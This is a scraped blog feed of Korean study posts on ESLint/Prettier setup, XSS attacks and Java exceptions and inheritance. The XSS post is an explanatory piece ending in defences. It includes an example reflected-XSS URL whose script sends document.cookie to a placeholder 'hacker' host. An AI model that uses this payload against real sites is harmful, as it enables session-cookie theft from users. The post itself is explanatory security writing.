<p>js파일이 어떤 환경에서 돌아가는지에 대해 정의할 수 있는 옵션이다.</p>
<p><a href="https://eslint.org/docs/user-guide/configuring/language-options#specifying-environments">https://eslint.org/docs/user-guide/configuring/language-options#specifying-environments</a></p>
<p>env에 대한 자세한 내용은 공식문서를 참조하자.</p>
<h3 id="extends">extends</h3>
<p>추가한 플러그인에서 사용할 규칙을 설정합니다.</p>
<p>우리는 airbnb 컨벤션을 사용할 것이기에 이와같이 설정합니다.</p>
<p>이렇게 설정하면 빨간줄 천지일 것이다. 여기서 필요한 규칙들은 냅두고, 너무 까다로운 규칙들은 꺼두는 작업을 진행할 것이다.</p>
<h2 id="4-prettier-설치하기">4. Prettier 설치하기</h2>
<p>먼저 Prettier부터 설치해보자.</p>
<p>vscode에서 extension으로 Prettier를 설치한다.</p>
<p>그 다음 해당 명령어로 프로젝트내에 Prettier를 또 설치한다.</p>
<pre><code class="language-jsx">yarn add prettier --dev --exact</code></pre>
<p>prettier의 버전이 서로 달라 코드 스타일이 달라질 수도 있으니 하나의 버전만 사용하게끔 만든다.</p>
<p>그리고 eslint와 마찬가지로 배포환경에서는 필요없으니 <code>--dev</code>를 붙인다.</p>
<p>이렇게 두 개를 설치하는 이유는 프로젝트내에 Prettier는 따로 관리하기 위함이다.</p>
<p><img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/4c2a11c6-2018-4374-8f26-28cf5959f91c/Untitled.png" alt="Untitled"></p>
<p>Prettier Extension에 나와있는 내용이다. 이렇게 프로젝트내에 로컬로 설치해주지 않으면 해당 Prettier의 버전에 따라 영향을 받기때문에 뒤죽박죽이 될 수 있다는 얘기이다.</p>
<h2 id="5-prettier-설정">5. Prettier 설정</h2>
<p><code>.prettierrc.js</code> 를 root 디렉토리에 만들어주자.</p>
<pre><code class="language-jsx">module.exports = {
  endOfLine: &quot;auto&quot;,
  tabWidth: 2,
  semi: true,
  singleQuote: false,
  trailingComma: &quot;all&quot;,
  useTabs: false,
  arrowParens: &quot;avoid&quot;,
  printWidth: 120,
};</code></pre>
<p>각 명령어에 대한 내용은 다음과 같다.</p>
<pre><code class="language-jsx">{
  &quot;arrowParens&quot;: &quot;avoid&quot;, // 화살표 함수 괄호 사용 방식
  &quot;bracketSpacing&quot;: false, // 객체 리터럴에서 괄호에 공백 삽입 여부 
  &quot;endOfLine&quot;: &quot;auto&quot;, // EoF 방식, OS별로 처리 방식이 다름 
  &quot;htmlWhitespaceSensitivity&quot;: &quot;css&quot;, // HTML 공백 감도 설정
  &quot;jsxBracketSameLine&quot;: false, // JSX의 마지막 `&gt;`를 다음 줄로 내릴지 여부 
  &quot;jsxSingleQuote&quot;: false, // JSX에 singe 쿼테이션 사용 여부
  &quot;printWidth&quot;: 80, //  줄 바꿈 할 폭 길이
  &quot;proseWrap&quot;: &quot;preserve&quot;, // markdown 텍스트의 줄바꿈 방식 (v1.8.2)
  &quot;quoteProps&quot;: &quot;as-needed&quot; // 객체 속성에 쿼테이션 적용 방식
  &quot;semi&quot;: true, // 세미콜론 사용 여부
  &quot;singleQuote&quot;: true, // single 쿼테이션 사용 여부
  &quot;tabWidth&quot;: 2, // 탭 너비 
  &quot;trailingComma&quot;: &quot;all&quot;, // 여러 줄을 사용할 때, 후행 콤마 사용 방식
  &quot;useTabs&quot;: false, // 탭 사용 여부
  &quot;vueIndentScriptAndStyle&quot;: true, // Vue 파일의 script와 style 태그의 들여쓰기 여부 (v1.19.0)
  &quot;parser&quot;: &#39;&#39;, // 사용할 parser를 지정, 자동으로 지정됨
  &quot;filepath&quot;: &#39;&#39;, // parser를 유추할 수 있는 파일을 지정
  &quot;rangeStart&quot;: 0, // 포맷팅을 부분 적용할 파일의 시작 라인 지정
  &quot;rangeEnd&quot;: Infinity, // 포맷팅 부분 적용할 파일의 끝 라인 지정,
  &quot;requirePragma&quot;: false, // 파일 상단에 미리 정의된 주석을 작성하고 Pragma로 포맷팅 사용 여부 지정 (v1.8.0)
  &quot;insertPragma&quot;: false, // 미리 정의된 @format marker의 사용 여부 (v1.8.0)
  &quot;overrides&quot;: [ 
    {
      &quot;files&quot;: &quot;*.json&quot;,
      &quot;options&quot;: {
        &quot;printWidth&quot;: 200
      }
    }
  ], // 특정 파일별로 옵션을 다르게 지정함, ESLint 방식 사용
}</code></pre>
<p>그리고 <code>Shift + ALT + F</code>를 누르거나 <code>Ctrl + Shift + P</code> 를 눌러서 <code>Format Document</code>를 찾아 누르게 되면 설정한 옵션들이 적용이 될 것이다. </p>
<p>여기서 저장할 때 자동으로 Prettier설정이 되게끔 하는 방법이 있다.</p>
<p><code>Ctrl + Shfit + P</code> ⇒ <code>Open Settings</code> ⇒  <code>settings.json</code> 을 열어주자.</p>
<pre><code class="language-jsx">&quot;[javascript]&quot;: {
    &quot;editor.formatOnSave&quot;: true,
    &quot;editor.defaultFormatter&quot;: &quot;esbenp.prettier-vscode&quot;
},
&quot;[javascriptreact]&quot;: {
    &quot;editor.formatOnSave&quot;: true,
    &quot;editor.codeActionsOnSave&quot;: {
        &quot;source.fixAll.eslint&quot;: true 
    },
    &quot;editor.defaultFormatter&quot;: &quot;esbenp.prettier-vscode&quot;,
},</code></pre>
<p>다음과 같이 적어주자.</p>
<p>그러면 저장할 때 마다 Prettier가 적용이 되서 들어간다.</p>
<h2 id="6-eslint---prettier-연동">6. ESLint - Prettier 연동</h2>
<p>여기서 ESLint의 코드 스타일과 Prettier에서 설정한 스타일이 충돌이 일어날 수 있다.</p>
<p>대표적으로 singleQuote 를 false로 설정하면 ESLint는 singleQuote가 true라서 계속해서 고치라고 에러를 내뱉게 된다.</p>
<p>이러한 점 때문에 2가지의 패키지를 설치해야한다.</p>
<h3 id="eslint-config-prettier">eslint-config-prettier</h3>
<p>Prettier에서 관리할 수 있는 코드 스타일을 ESLint에서 비활성화 시켜준다.</p>
<p>1차적으로 Prettier의 코드 스타일을 맞추고, 그 다음 airbnb 컨벤션을 이용한다는 얘기이다.</p>
<h3 id="eslint-plugin-prettier">eslint-plugin-prettier</h3>
<p>Prettier를 ESLint 규칙에 맞게 실행하게 오류를 ESLint의 오류로 나타나게 해주는 기능을 가진 패키지이다. 즉, Prettier가 ESLint 규칙을 바탕으로 검사를 하다가 결과로 나오는 오류를 ESLint 오류로 보여주게 한다.</p>
<pre><code class="language-jsx">yarn add eslint-config-prettier eslint-plugin-prettier --dev</code></pre>
<h2 id="7-eslint-설정-변경하기">7. ESLint 설정 변경하기</h2>
<p>다음과 같은 패키지 2개를 설치했으니 다시 설정을 변경해줘야한다.</p>
<pre><code class="language-jsx">module.exports = {
  env: {
    browser: true,
    es2021: true,
    amd: true,
  },
  extends: [&quot;eslint:recommended&quot;, &quot;airbnb&quot;, &quot;plugin:prettier/recommended&quot;],
};</code></pre>
<p><code>&quot;plugin:prettier/recommended&quot;</code> 이 친구가 <code>eslint-config-prettier</code> 도 같이 적용시켜준다.</p>
<p>이제 적용은 끝이 났고 ESLint의 Rule만 추가하면 된다.</p>
<p>ESLint의 규칙중에 어떤 것은 매우 빡빡하게 느껴지는 경우가 존재한다. 이러한 규칙들은 비활성화 시켜 적용할 수 있다.</p>
<pre><code class="language-jsx">module.exports = {
  env: {
    browser: true,
    es2021: true,
    amd: true,
  },
  extends: [&quot;eslint:recommended&quot;, &quot;airbnb&quot;, &quot;plugin:prettier/recommended&quot;],
  ignorePatterns: [&quot;index.js&quot;, &quot;reportWebVitals.js&quot;],
  rules: {
    &quot;import/no-unresolved&quot;: &quot;off&quot;,
    &quot;react/prop-types&quot;: 0,
    &quot;no-extra-semi&quot;: &quot;error&quot;,
    &quot;react/jsx-props-no-spreading&quot;: &quot;off&quot;,
  },
};</code></pre>
<p>지금 사용하고 있는 규칙들이다.</p>
<h3 id="importno-unresolved">&quot;import/no-unresolved&quot;</h3>
<p>절대경로를 사용하게 되면 ESLint에서 이에 대한 경로가 잘못되었다고 알려준다.</p>
<pre><code class="language-jsx">&quot;import/no-unresolved&quot;: [2, { caseSensitive: false }],</code></pre>
<p>이렇게 사용하면 파일 경로가 틀렸다는 부분을 끄면 되는데 무슨 이유에서인지 적용이 되지 않아 그냥 해당 에러를 꺼버리는 식으로 진행했다.</p>
<h3 id="reactprop-types">&quot;react/prop-types&quot;</h3>
<p>우리가 컴포넌트간에 props를 전달하며 데이터를 주고받는데, 이 때 데이터의 타입이 정해져있지 않다.</p>
<p>이러한 부분을 나타내는 에러이다.</p>
<h3 id="no-extra-semi">&quot;no-extra-semi&quot;</h3>
<p>세미클론이 존재하지 않으면 에러를 띄운다는 얘기이다.</p>
<h3 id="reactjsx-props-no-spreading">&quot;react/jsx-props-no-spreading&quot;</h3>
<p>props로 받은 친구를 spread를 하게끔 설정하는 친구이다.</p>
<p>설정이 가능하게끔 했다.</p>
<p>여러 규칙들이 상당히 많은데 천천히 프로젝트를 하면서 알아보려고 한다.</p>
<blockquote>
<p>참고</p>
<p><a href="https://velog.io/@gwangsuda/2019-09-25-1009-%EC%9E%91%EC%84%B1%EB%90%A8-bwk0ylejxj">https://velog.io/@gwangsuda/2019-09-25-1009-작성됨-bwk0ylejxj</a></p>
<p><a href="https://soojae.tistory.com/39">https://soojae.tistory.com/39</a></p>
<p><a href="https://velog.io/@cookncoding/ESLint-Prettier-Airbnb-Style-Guide%EB%A1%9C-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%84%B8%ED%8C%85%ED%95%98%EA%B8%B0">https://velog.io/@cookncoding/ESLint-Prettier-Airbnb-Style-Guide로-프로젝트-세팅하기</a></p>
<p><a href="https://pstudio411.tistory.com/entry/%EC%95%84-%EB%B3%B4%EA%B8%B0-%EC%A2%8B%EC%9D%80-%EC%BD%94%EB%93%9C%EB%8B%A4-Prettier-%EC%95%8C%EC%95%84%EB%B3%B4%EA%B8%B0">https://pstudio411.tistory.com/entry/아-보기-좋은-코드다-Prettier-알아보기</a></p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[XSS 공격이란]]></title>
            <link>https://velog.io/@jeong-god/XSS-%EA%B3%B5%EA%B2%A9%EC%9D%B4%EB%9E%80</link>
            <guid>https://velog.io/@jeong-god/XSS-%EA%B3%B5%EA%B2%A9%EC%9D%B4%EB%9E%80</guid>
            <pubDate>Fri, 01 Apr 2022 10:32:55 GMT</pubDate>
            <description><![CDATA[<h1 id="xss-공격">XSS 공격</h1>
<p>Cross Site Scripting 이라는 말로 상대방의 브라우저에 스크립트가 실행되도록 하여 공격을 진행하는 것을 말한다.</p>
<p>웹사이트 사이를 넘어서 공격한다는 의미이다.</p>
<p>이는 우리가 친숙하다고 생각하는 웹사이트를 들어갔지만 이 너머로 누군가가 해당 웹사이트에 스크립트로 악의적인 공격을 집어넣어 웹사이트 너머에서 공격이 일어난다는 것이다.</p>
<p>관리자가 아닌 권한이 없는 사용자가 웹 사이트에 스크립트를 삽입하는 공격이다.</p>
<h2 id="반사형-xss">반사형 XSS</h2>
<p>일반적인 유형의 XSS 공격이다.</p>
<p>우리가 어떠한 url을 만들어 놓고 해당 url을 클릭했을 시 바로 내가 해당하는 서버로 쿠키를 보내게 만드는 방법이다.</p>
<p>공격자가 XSS공격을 위한 script를 포함한 URL을 사용자에게 노출시킨다.</p>
<p>그렇게 URL을 사용자가 클릭할 경우, 스크립트가 포함되어있는 URL을 통해 Request를 해커가 걸어놓은 서버로 요청하게 되고, 그러면 해커는 유저의 쿠키를 탈취할 수 있게 되는 것이다.</p>
<blockquote>
<p>예시</p>
<p><code>http://jeong.com?page=&lt;script&gt;location.href(”http://hacker/cookie?value=”document.cookie);&lt;/script&gt;</code></p>
<p>이렇게 url을 공개해놓고 클릭하게 되면 script문을 따라 사용자의 쿠키가 탈취되는 상황이다.</p>
</blockquote>
<h2 id="영구적-xss">영구적 XSS</h2>
<p>저장형 XSS 공격이라고도 한다. 이는 웹사이트의 모든 HTTP응답을 감염시키는 공격을 의미한다.</p>
<blockquote>
<p>예시</p>
<p>게시물을 볼 수 있는 웹사이트가 존재한다고 해보자.</p>
<p>이 웹사이트 게시물 제목으로 <code>클릭해보세요.&lt;script&gt;{해커가 만들어놓은 서버로 보내는 api요청}&lt;/script&gt;</code> 이런식으로 해커가 게시물을 등록했다고 해보자.</p>
<p>그러면 해당 서버는 이 게시물 제목을 저장하고 클라이언트에게 뿌릴 것이다.</p>
<p>클라이언트는 html로 게시물 제목들을 띄워주게 될텐데 <code>클릭해보세요.</code>는 문자열로 판단할 것이고 <code>&lt;script&gt;{}&lt;/script&gt;</code> 는 문자열로 판단하지 않고 script문으로 판단할 것이다.</p>
<p>이렇게 되면 사용자가 게시물 제목을 클릭하게 된다면 사용자의 쿠키 및 세션등이 해커가 만들어놓은 서버로 유출되는 문제가 생긴다.</p>
</blockquote>
<h2 id="xss공격-대응방법">XSS공격 대응방법</h2>
<p>XSS공격은 미리 방지하기가 어렵다.</p>
<h3 id="데이터-값-검증">데이터 값 검증</h3>
<p>데이터의 값 중에 특수문자 &lt;, &gt; 와 같은 것들이 들어가있다면 다른 문자로 치환하거나 없애버리는 방법이다.</p>
<h3 id="입력-값-제한">입력 값 제한</h3>
<p><code>http://jeong.comd?page=&lt;script&gt;location.href(”http://hacker/cookie?value=”document.cookie);&lt;/script&gt;</code></p>
<p>이러한 예시에서 page={숫자만 가능} 이렇게 입력값을 제한하면 예방할 수 있다.</p>
<h3 id="textcontent속성-이용하기">textContent속성 이용하기</h3>
<p>html화 시켜버리면 script가 쓰여져있으면 script문으로 인식하게 된다.</p>
<p>그래서 이를 아예 문자열로 인식하게 바꿔버리는 것이다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Java의 정석] 8장 예외처리 Exception Handling]]></title>
            <link>https://velog.io/@jeong-god/Java%EC%9D%98-%EC%A0%95%EC%84%9D-8%EC%9E%A5-%EC%98%88%EC%99%B8%EC%B2%98%EB%A6%AC-Exception-Handling</link>
            <guid>https://velog.io/@jeong-god/Java%EC%9D%98-%EC%A0%95%EC%84%9D-8%EC%9E%A5-%EC%98%88%EC%99%B8%EC%B2%98%EB%A6%AC-Exception-Handling</guid>
            <pubDate>Tue, 22 Mar 2022 13:21:37 GMT</pubDate>
            <description><![CDATA[<h1 id="예외-처리">예외 처리</h1>
<h2 id="에러의-종류">에러의 종류</h2>
<ul>
<li>컴파일 에러
컴파일 시에 발생하는 에러</li>
<li>런타임 에러
실행 시에 발생하는 에러</li>
<li>논리적 에러
실행은 되지만, 의도와 다르게 동작하는 것</li>
</ul>
<h2 id="에러와-예외">에러와 예외</h2>
<h3 id="에러">에러</h3>
<p>프로그램 코드에 의해서 <strong>수습될 수 없는 심각한 오류</strong></p>
<h3 id="예외">예외</h3>
<p>프로그램 코드에 의해서 <strong>수습될 수 있는 다소 미약한 오류</strong></p>
<h2 id="예외-클래스의-계층-구조">예외 클래스의 계층 구조</h2>
<p><img src="https://images.velog.io/images/jeong-god/post/30446f49-2e3d-4f3e-a905-9701f7dc16b9/image.png" alt=""></p>
<p>모든 클래스의 조상은 <code>Object</code>이므로 <code>Object</code>가 갖고 있다.</p>
<p>여기서 예외의 최고 조상은 <code>Exception</code> 클래스 이다.</p>
<p><code>Exception</code>클래스를 보면 두 그룹으로 나누어져 있다.</p>
<ol>
<li><p>Exception클래스와 그 자식들(RuntimeException과 자식들 제외)
=&gt; 사용자의 실수와 같은 외적인 요인에 의해 발생하는 예외이다.
ex) FileNotFoundException, ClassNotFoundException, DataFormatException</p>
</li>
<li><p>RuntimeException클래스와 그 자식들
=&gt; 프로그래머의 실수로 발생하는 예외이다.
ex) ArrayIndexOutOfBoundsException, NullPointerException, ClassCastException</p>
</li>
</ol>
<h4 id="checked-exception">Checked Exception</h4>
<p>컴파일시에 에러가 난다. 그렇기 때문에 <strong>반드시</strong> 해당 예외에 대해서는 처리해야한다.</p>
<h4 id="unchecked-exception">Unchecked Exception</h4>
<p>실행시에 에러가 난다. 해당 예외 처리는 <strong>선택적으로</strong> 처리해도 된다.</p>
<h2 id="예외처리하기">예외처리하기</h2>
<h3 id="try-catch">try-catch</h3>
<pre><code class="language-java">try {
    // 예외가 발생할 수 있는 코드
} catch (Exception e1) {
    // e1에 대한 예외가 발생했을 때 예외처리
} catch (Exception e2) {
    // e2에 대한 예외가 발생했을 때 예외처리
} finally {
    // 예외의 발생여부에 상관없이, 실행되는 코드
}</code></pre>
<h3 id="흐름">흐름</h3>
<ol>
<li>try블럭에서 예외가 발생한다.</li>
<li>발생한 예외와 일치하는 catch블럭을 찾는다.
 =&gt; 이 때, <code>instanceof</code> 연산자를 이용해 발생한 예외의 인스턴스 타입과 일치하는 것을 찾는다.</li>
<li>일치하는 catch블럭을 찾으면 수행한다. 없으면, 예외는 처리되지 않는다.</li>
</ol>
<h2 id="예외-정보-출력">예외 정보 출력</h2>
<ul>
<li><code>printStackTrace()</code>
예외 발생 당시의 호출스택에 있었던 메소드의 정보와 예외 메시지를 화면에 출력한다.</li>
<li><code>getMessage()</code>
발생한 예외 클래스의 인스턴스에 저장된 메시지를 볼 수 있다.</li>
</ul>
<h2 id="멀티-catch-블럭">멀티 catch 블럭</h2>
<pre><code class="language-java">try {
    ...
} catch (ExceptionA | ExceptionB e {
    ...
}</code></pre>
<p>JDK1.7부터 다음과 같이 <code>|</code> 를 이용하여 하나의 catch블럭으로 합칠 수 있다.</p>
<h2 id="예외-발생시키기">예외 발생시키기</h2>
<p><code>throw</code>를 이용하여 고의로 예외를 발생시킬 수 있다.</p>
<pre><code class="language-java">throw new Exception(&quot;고의로 발생시킨 예외메시지&quot;);</code></pre>
<h2 id="메소드에-예외-선언하기">메소드에 예외 선언하기</h2>
<pre><code class="language-java">void method() throws Exception1, Exception2, ... ExceptionN {
    ...
}</code></pre>
<p><code>throws</code>를 적으면 메서드에 이러한 예외가 나타날 수 있다는 것을 암시한다.</p>
<p>이렇게 발생할 가능성이 있는 예외를 메소드 선언부에 명시하여 <strong>해당 메소드를 사용하는 쪽에서</strong> 이에 대한 처리를 하도록 강요할 수 있다.</p>
<h3 id="주의할-점">주의할 점</h3>
<p>메소드에 예외를 선언할 때, <code>RuntimeException</code> 즉, Unchecked Exception에 대한 내용은 선언하지 않는다.</p>
<p>보통 반드시 처리해야하는 Checked Exception에 대한 내용만 선언한다.</p>
<h2 id="try-with-resource">try-with-resource</h2>
<p>JDK1.7부터 추가된 구문이다.</p>
<pre><code class="language-java">try (FileInputStream fis = new FileInputStream(&quot;score.dat&quot;);
     DataInputStream dis = new DataInputStream(fis)) {
     ...
} catch (EOFException e) {
    ...
} catch (IOException ie) {
    ...
}</code></pre>
<p>이것과 같이 <code>try</code> 괄호 안에 객체를 생성하는 문장을 넣는다.</p>
<p>그러면 해당 객체들은 <strong>try블럭을 벗어나는 순간</strong> 자동적으로 <code>close()</code>를 호출해 자원을 반납한다.</p>
<h2 id="사용자-정의-예외-만들기">사용자 정의 예외 만들기</h2>
<pre><code class="language-java">class MyException extends Exception {
    MyException(String msg) {
        super(msg);
    }
}</code></pre>
<p><code>Exception</code>의 생성자로는 예외처리 메시지가 들어간다.</p>
<h2 id="연결된-예외">연결된 예외</h2>
<p>만약 예외 A가 예외 B를 발생시킨다면 A는 B의 원인 예외라고한다.</p>
<p>throwable 클래스에는 다음과 같은 함수가 존재한다.</p>
<pre><code class="language-java">public synchronized Throwable initCause(Throwable cause) {
    if (this.cause != this)
        throw new IllegalStateException(&quot;Can&#39;t overwrite cause with &quot; +
                                            Objects.toString(cause, &quot;a null&quot;), this);
    if (cause == this)
        throw new IllegalArgumentException(&quot;Self-causation not permitted&quot;, this);
    this.cause = cause;
    return this;
}</code></pre>
<p>함수인자로 cause가 있는데 여기로 A때문에 B가 발생된다면</p>
<pre><code class="language-java">try {

} catch (ExceptionA ae) {
    ExceptionB be = new ExceptionB(&quot;예외&quot;);
    be.initCause(ae);
    throw ie;
}</code></pre>
<p>다음과 같이 be의 원인으로 ae를 집어넣을 수 있다.
이를 확인하는 방법은
<code>be.getCause()</code> 로 가능하다.</p>
<blockquote>
<p>참고
<a href="https://itmining.tistory.com/9">https://itmining.tistory.com/9</a></p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Java의 정석] 7장 객체지향 프로그래밍 2]]></title>
            <link>https://velog.io/@jeong-god/Java%EC%9D%98-%EC%A0%95%EC%84%9D-7%EC%9E%A5-%EA%B0%9D%EC%B2%B4%EC%A7%80%ED%96%A5-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%B0%8D-2</link>
            <guid>https://velog.io/@jeong-god/Java%EC%9D%98-%EC%A0%95%EC%84%9D-7%EC%9E%A5-%EA%B0%9D%EC%B2%B4%EC%A7%80%ED%96%A5-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%B0%8D-2</guid>
            <pubDate>Mon, 21 Mar 2022 16:31:53 GMT</pubDate>
            <description><![CDATA[<h1 id="상속">상속</h1>
<p><img src="https://images.velog.io/images/jeong-god/post/cc61860e-d4fe-4a5f-bd0a-978fd30382cd/image.png" alt=""></p>
<p>위 그림과 같이 부모 클래스의 멤버는 자식 클래스가 그대로 물려받게 된다.
자식 클래스의 멤버는 부모 클래스에 영향을 끼치지 못한다.</p>
<ul>
<li>모든 객체의 조상은 <strong>Object 클래스</strong>이다.</li>
<li>Java는 다중상속을 허용하지 않는다. 단일상속만 가능하다.<h4 id="다중상속을-허용하지-않는-이유">다중상속을 허용하지 않는 이유</h4>
부모 클래스가 2개인데, 각 클래스에 메소드의 이름이 겹치는 상황을 생각해보자.
그러면 누구의 메소드를 상속받을 것인지 정해야 한다.
이러한 다중상속의 문제점으로 단일 상속만을 허용한다. (그런데 C++에서는 다중상속을 허용한다.)</li>
</ul>
<h2 id="상속-구현-방법">상속 구현 방법</h2>
<p>위 그림과 같이 부모 클래스를 <strong>확장</strong>시킨다. 라는 뜻에서 자식 클래스에 <code>extends</code>를 붙이면 된다.</p>
<pre><code class="language-java">class Child extends Parent {
    ...
}</code></pre>
<hr>
<h2 id="포함관계-상속관계">포함관계, 상속관계</h2>
<h3 id="포함관계">포함관계</h3>
<p>&quot;has a&quot; 를 넣어서 문장이 성립하면 포함관계이다.
ex) Circle has a point. (원은 점을 가지고 있다.)</p>
<pre><code class="language-java">class Point {
    int x;
    int y;
}
class Circle {
    Point c = new Point(); // 원점
    int r; // 반지름
}</code></pre>
<h3 id="상속-관계">상속 관계</h3>
<p>&quot;is a&quot; 를 넣어서 문장이 성립하면 상속관계이다.
ex) Circle is a shape. (원은 도형이다.)</p>
<pre><code class="language-java">class Shape {
    String color = &quot;black&quot;;
}
class Circle extends Shape {
    ...
}</code></pre>
<hr>
<h2 id="overriding">Overriding</h2>
<p>&quot;~위에 덮어쓰다.&quot; 라는 뜻이다.
말 그대로 조상 클래스로부터 상속받은 <strong>기존의 메소드</strong>의 내용을 변경하는 것을 말한다.</p>
<h3 id="조건">조건</h3>
<p>조상 클래스의 메소드와 </p>
<ol>
<li>이름이 같아야 한다.</li>
<li>매개변수가 같아야 한다.</li>
<li>반환타입이 같아야 한다.</li>
</ol>
<p>=&gt; 즉 선언부가 서로 일치해야 한다.</p>
<h3 id="접근-제어자와-예외">접근 제어자와 예외</h3>
<p>접근 제어자와 예외는 다음과 같은 조건에서는 변경이 가능하다.</p>
<ol>
<li>접근 제어자는 조상 클래스의 메소드보다 좁은 범위로 변경할 수 없다.</li>
<li>조상 클래스의 메소드보다 많은 수의 예외를 선언할 수 없다.</li>
<li>인스턴스 메소드를 static 메소드로 또는 그 반대로 변경할 수 없다.</li>
</ol>
<ul>
<li>접근 제어자<pre><code>public &gt; protected &gt; default(생략 가능) &gt; private</code></pre></li>
</ul>
<hr>
<p>static 메소드를 자손 클래스에서 똑같은 이름의 static메서드로 정의하는 건 <strong>오버라이딩</strong>인가요?</p>
<ul>
<li>아니다. 별개의 static 메소드를 정의한 것일 뿐, 오버라이딩이 아니다.</li>
</ul>
<hr>
<h2 id="overloading">Overloading</h2>
<p>기존에 없는 <strong>새로운 메소드</strong>를 추가하는 것이다.</p>
<p>같은 메소드이름이여도 매개변수가 다르거나 반환타입이 다른 경우를 말한다.</p>
<hr>
<h2 id="super">super</h2>
<p>자손 클래스에서 조상 클래스로부터 상속받은 멤버를 참조하는데 사용되는 참조변수이다.</p>
<pre><code class="language-java">class Parent {
    int x = 10;
}

class Child extends Parent{
    int x = 20;
    void method() {
        System.out.println(super.x);  // 10
        System.out.println(this.x);   // 20
    }
}</code></pre>
<p>만약 <code>super()</code> 이렇게 사용한다면 조상 클래스의 생성자를 부른다는 뜻이다.</p>
<p><strong>Object 클래스를 제외한 클래스의 생성자 첫 줄에는 <code>super();</code>가 붙어있다. 안 붙이면 컴파일러가 알아서 붙여준다.</strong></p>
<p>그런데 만일 부모 클래스에 <strong>기본 생성자가 아닌 생성자</strong>가 들어가있다면 자식 클래스에 부모 클래스의 생성자를 붙여줘야 한다.</p>
<pre><code class="language-java">class Parent {
    int x = 10;

    public Parent(int x) {
        this.x = x;
    }
}

class Child extends Parent {
    int x = 20;

    public Child(int x) {
        // super(10); 없으면 컴파일 에러!
        this.x = x;
    }
    public void method() {
        System.out.println(this.x);
        System.out.println(super.x);
    }
}
public class Test {
    public static void main(String[] args) {
        Child c = new Child(20);
        c.method();
    }
}</code></pre>
<p><strong>조상 클래스의 멤버변수는 이처럼 조상의 생성자에 의해 초기화되도록 해야 하는 것이다.</strong></p>
<hr>
<h2 id="package">package</h2>
<p>패키지란 클래스 또는 인터페이스의 묶음이다.
클래스가 물리적으로 하나의 클래스파일(.class)인 것과 같이 패키지는 물리적으로 하나의 디렉토리인 것이다.</p>
<h3 id="import문">import문</h3>
<p>다른 패키지의 클래스를 사용할 때 사용한다.</p>
<ul>
<li>import문은 프로그램 성능에 전혀 영향을 끼치지 않는다. <strong>컴파일시 시간이 걸릴 뿐이다.</strong></li>
</ul>
<h4 id="static-import-문">static import 문</h4>
<p>static member를 호출할 때 클래스 이름을 생략할 수 있게 해준다.</p>
<pre><code class="language-java">import static java.lang.System.out;
out.println(&quot;print&quot;);
// System.out.println(&quot;print&quot;);</code></pre>
<hr>
<h2 id="제어자">제어자</h2>
<h3 id="접근-제어자">접근 제어자</h3>
<ul>
<li>public
접근 제한이 전혀 없다.</li>
<li>protected
같은 패키지 내에서, 그리고 다른 패키지의 자식 클래스에서 접근이 가능하다.</li>
<li>default (생략 가능)
같은 패키지 내에서만 접근이 가능하다.</li>
<li>private
같은 클래스 내에서만 접근이 가능하다.<h3 id="그-외">그 외</h3>
static, final, abstract, native, transient, synchronized, volatile, strictfp</li>
</ul>
<h3 id="생성자의-접근-제어자">생성자의 접근 제어자</h3>
<pre><code class="language-java">class Singleton {
    private static Singleton s = new Singleton();

    private Singleton() {
        ...
    }

    public static Singleton getInstance() { // 직접 인스턴스를 생성 못 하니 static을 붙여야함.
        return s
    }
}</code></pre>
<p>private를 붙이게 되면 같은 클래스내에서밖에 쓰지 못 하니 직접 인스턴스를 생성할 수 없다.
또한, 다른 클래스의 조상이 될 수 없다. 
자식 클래스의 인스턴스를 생성할 때 조상 클래스의 생성자가 실행되어야 하는데 접근 제어자가 private이기 때문이다.</p>
<p>public 메소드를 통해 접근하게 만듬으로써 인스턴스의 개수를 제한할 수 있다. </p>
<h3 id="static">static</h3>
<p>인스턴스 멤버를 사용하지 않는 메소드는 static 메소드로 만들자.
그러면 인스턴스를 생성하지 않아도 되어 편리하고 속도도 더 빠르다.</p>
<h3 id="final">final</h3>
<ul>
<li>변수에 사용 : 변경될 수 없는 값</li>
<li>메소드에 사용 : 오버라이딩 불가</li>
<li>클래스에 사용 : 해당 클래스는 확장 불가 (자식 클래스에 정의하지 못한다.)</li>
</ul>
<h3 id="주의-사항">주의 사항</h3>
<ol>
<li><p>메소드에 static과 abstract를 함께 사용할 수 없다.</p>
<p>static 메소드는 몸통이 있는 메소드에만 사용할 수 있기 때문이다.</p>
</li>
<li><p>클래스에 abstract와 final을 동시에 사용할 수 없다.</p>
<p>abstract는 상속을 통해서 완성이 되기 때문이다.</p>
</li>
<li><p>abstract메소드의 접근 제어자가 private일 수 없다.</p>
<p>위와 동일한 이유이다.</p>
</li>
<li><p>메소드의 private와 final을 같이 사용할 필요는 없다.</p>
<p>private자체로 오버라이딩이 될 수 없다는 전제이기 때문이다.</p>
</li>
</ol>
<hr>
<h2 id="다형성">다형성</h2>
<p><strong>조상클래스 타입의 참조변수</strong>로 <strong>자식클래스의 인스턴스</strong>를 참조할 수 있도록 한 것이다.</p>
<pre><code class="language-java">class Parent {
    ...
}

class Child extends Parent{
    ...
}
class Test {
    public static void main(String[] args) {
        Parent p = new Child();
    }
}</code></pre>
<ul>
<li>주의할 점<pre><code> 참조변수의 타입에 따라 사용할 수 있는 멤버의 개수가 달라진다.</code></pre>  즉, <code>Parent p = new Child();</code> 는 parent의 멤버에만 참조가 가능하다. child의 메소드, 멤버 변수를 참조할 수 없다는 뜻이다.</li>
</ul>
<h3 id="다운-캐스팅-업-캐스팅">다운 캐스팅, 업 캐스팅</h3>
<ul>
<li>업캐스팅 : 자식타입 -&gt; 조상타입 (형변환 필요 X)</li>
<li>다운캐스팅 : 조상타입 -&gt; 자식타입 (형변환 필요)<pre><code class="language-java">Child c = new Parent();</code></pre>
이와 같이 반대로 하면 <strong>컴파일 에러</strong>가 발생한다.
인스턴스인 Parent보다 참조변수 c가 사용할 수 있는 멤버 개수가 더 많기 때문이다.</li>
</ul>
<p><strong>즉, <code>참조변수가 사용할 수 있는 멤버의 개수 &lt;= 인스턴스 멤버의 개수</code> 를 만족해야 한다.</strong></p>
<pre><code class="language-java">Child c = new Child();
Parent p = c;
c = (Child) p;</code></pre>
<p>이렇게 쓰면 가능하긴 하다.
